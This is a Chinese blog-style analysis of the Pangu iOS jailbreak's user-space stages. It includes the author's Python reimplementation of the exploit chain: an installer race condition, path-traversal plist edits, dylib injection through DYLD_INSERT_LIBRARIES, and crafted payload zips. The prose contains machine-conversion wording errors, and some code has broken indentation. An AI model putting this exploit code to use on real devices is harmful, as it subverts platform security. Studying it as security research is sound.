盘古越狱工具在用户空间的行为

背景知识

盘古在用户空间主要利用了iOS安装程序的一个漏洞，这里先列出安装一个应用的主要过程：

整个安装过程分为12个阶段，上图仅仅是列出了起点、终点还是对盘古越狱来说比較重要的阶段。大家注意上图红线所看到的的时间区间。在这个区间内假设在“Staging Directory”中创建一个符号链接指向沙盒之外。就能够利用解压程序向系统文件夹写入文件。

同一时候也能够通过控制压缩包中的文件列表，在起始处放一个大文件，从而在解压过程中创建一个符号链接。

这是在盘古在安装过程中利用的主要漏洞。后面介绍的盘古在用户空间的行为基本都是环绕这个漏洞。

基本的组件

盘古主要由四部分组成。：
1、桌面程序：提供资源，控制越狱流程。
2、com.pangu.ipa1.ipa：Socket Server，与桌面程序配合制造竞态条件。

3、pangu.dylib，Socket Server。利用内核漏洞安装Untecher。Cydia等。

4、pangu.tar，Untecher
这里主要涉及的是前两个组件。及第三个组件中用户空间相关的部分。

工作流程

说明：为了验证自己的分析是正确的，用Python又一次实现了盘古桌面程序的功能，利用盘古的Payload能够实现越狱，以下会在主要阶段给出对应演示样例代码。

阶段一：安装辅助程序。获取相关资源

1、安装com.pangu.ipa1.ipa

def install_pangu():
    lockdown = LockdownClient()
    afc = AFCClient(lockdown)
    mci = lockdown.startService("com.apple.mobile.installation_proxy")
 
    file_name = "com.pangu.ipa1.ipa"
    afc.set_file_contents("/PublicStaging/" + file_name, open("payload/" + file_name,"rb").read())
    mci.sendPlist({"Command":"Install", "PackagePath": "/PublicStaging/" + file_name})
    while True:
        status =  mci.recvPlist()
        if not status:
            break
        completion = status.get("PercentComplete")
        if completion:
            print "Installing, %s: %s %% Complete" % ("com.pangu.ipa1.ipa", status["PercentComplete"])
        if status.get("Status") == "Complete":
            print "Installation %s
" % status["Status"]
            break
    mci.close()
    afc.stop_session()
    lockdown.stop_session()

首先利用AFC服务将IPA传到设备上，然后利用 Installation Proxy 安装应用。

2、获取Cache

def download_caches():
    fc = FileRelayClient()
    data = fc.request_sources(["Caches"])
    fc.stop_session()
    if data:
        file_path = "./payload/caches.gz"
        output_path = "./payload/caches"
        open(file_path,"wb").write(data)
        print  "Data saved to:  %s " % file_path
        with open(file_path, "r") as f:
            gz = gzip.GzipFile(mode="rb", fileobj=f)
            cpio = CpioArchive(fileobj=BytesIO(gz.read()))
            cpio.extract_files(files=None,outpath=output_path)
    else:
        print "Fail to get caches"
        raise Exception("Fail to get caches")

调用 FileRelay 服务，获取Cache，主要是从中拿到 com.apple.mobile.installation.plist

3、改动 com.apple.mobile.installation.plist

改动是针对盘古程序的。详细改动例如以下：

CFBundleExecutable = "../../../../../../usr/libexec/lockdownd";
EnvironmentVariables = { DYLD_INSERT_LIBRARIES = "/private/var/mobile/Media/Pangu-Install/pangu.dylib"; };

4、改动盘古程序的Info.plist

CFBundleExecutable = "../../../../../../usr/libexec/lockdownd";

5、构造applicationState.plist

{ "com.pangu.ipa1" = { SBApplicationAutoLaunchForVoIP = :true; }; }

这个会造成盘古程序在设备重新启动后自己主动执行。

6、com.apple.LaunchServices-056.csstore 主要是为了更新程序列表

7、com.apple.backboardd.plist 禁用“看门狗”

基于上述文件盘古会构造三个Payload。

def generate_upgrade_bundle1():
    guid_str = get_guid()
    with ZipFile("./payload/upgrade1.zip", "w") as payload:
        payload.write("./payload/upgrade_bundle/bigfile", "/tmp/bigfile")
        payload.write("./payload/upgrade_bundle/com.apple.LaunchServices-056.csstore", "/mobile/Library/Caches/com.apple.LaunchServices-056.csstore")
        payload.write("./payload/upgrade_bundle/com.apple.mobile.installation.plist", "/mobile/Library/Caches/com.apple.mobile.installation.plist")
        payload.write("./payload/upgrade_bundle/applicationState.plist", "/mobile/Library/BackBoard/applicationState.plist")
        payload.write("./payload/upgrade_bundle/com.apple.backboardd.plist", "/mobile/Library/Preferences/com.apple.backboardd.plist")
        payload.write("./payload/upgrade_bundle/Info.plist", "/mobile/Applications/" + guid_str + "/ipa1.app/Info.plist")
 
def generate_upgrade_bundle2():
    # os.remove("./payload/upgrade2.zip")
    guid_str = get_guid()
    with ZipFile("./payload/upgrade2.zip", "w") as payload:
        payload.write("./payload/upgrade_bundle/bigfile", "/tmp/bigfile")
        payload.write("./payload/upgrade_bundle/com.apple.mobile.installation.plist", "/mobile/Library/Caches/com.apple.mobile.installation.plist")
		
def generate_upgrade_bundle3():
    # os.remove("./payload/upgrade3.zip")
    guid_str = get_guid()
    with ZipFile("./payload/upgrade3.zip", "w") as payload:
        payload.write("./payload/upgrade_bundle/bigfile", "/tmp/bigfile")
		payload.write("./payload/upgrade_bundle/com.apple.LaunchServices-056.csstore", "/mobile/Library/Caches/com.apple.LaunchServices-056.csstore")

这个阶段会知道三个程序升级包。供下一阶段使用。
另外。能够简单的理解为：运行完这个阶段就相应着盘古提示用户在手机上启动程序。

阶段二：利用竞态条件安装文件，构造环境运行pangu.dylib

当用户在手机上启动程序后，手机上的App会启动一个Socket Server，等待桌面程序的握手，这个握手的暗语挺有意思。桌面向App发送：PING，App收到后回应桌面：PONG。在握手完毕后，盘古開始利用静态条件将如上构造的三个Payload安装到手机上。
详细过程为首先利用安装服务安装升级包，在安装的过程中桌面向App发送starthook。详细hook的内容能够通过调试App确定是创建一个符号链接：

"/private/var/tmp/install_staging.eP7ZzJ/foo_extracted" ---> "/var/"

当中后缀部分会由于每次安装而不同。

演示样例代码：

def fire_race_condition(lockdown, file_name):
    mci = lockdown.startService("com.apple.mobile.installation_proxy")
    sock = get_sock()
    print "----->PING"
    sock.send("PING")
    msg = sock.recv(4)
    if msg == "PONG":
        print "<-----PONG
"
    upgrade_pangu(mci, file_name)
    print "----->starthook"
    sock.send("starthook")
    msg = sock.recv(4)
    if msg == "succ":
        print "<-----success
"
    else:
        print "<-----fail
"

在完毕安装三个Payload之后，盘古会上传文件到Media中的 Pangu-Install文件夹：Cydia.tar、packagelist.tar、pangu.dylib、pangu.tar、pangu_ex.tar

至此，盘古基本完毕了用户空间的行为，在界面上的反应为：盘古会重新启动设备。

阶段三：利用漏洞安装Untecher，Cydia

设备重新启动完毕后，pangu.dylib会被载入。并启动一个 Socket Server。桌面程序在检測到设备载入后会向 pangu.dylib 发送：55AA，pangu.dylib 接到 55AA后開始安装Untecher、Cydia。

阶段四：清理

在pangu.dylib完毕工作后，向桌面程序发送：AA55，桌面程序開始清理暂时文件。删除Provisional文件，恢复设备时间等操作。

在完毕清理操作后。桌面程序会第二次重新启动设备，至此越狱完。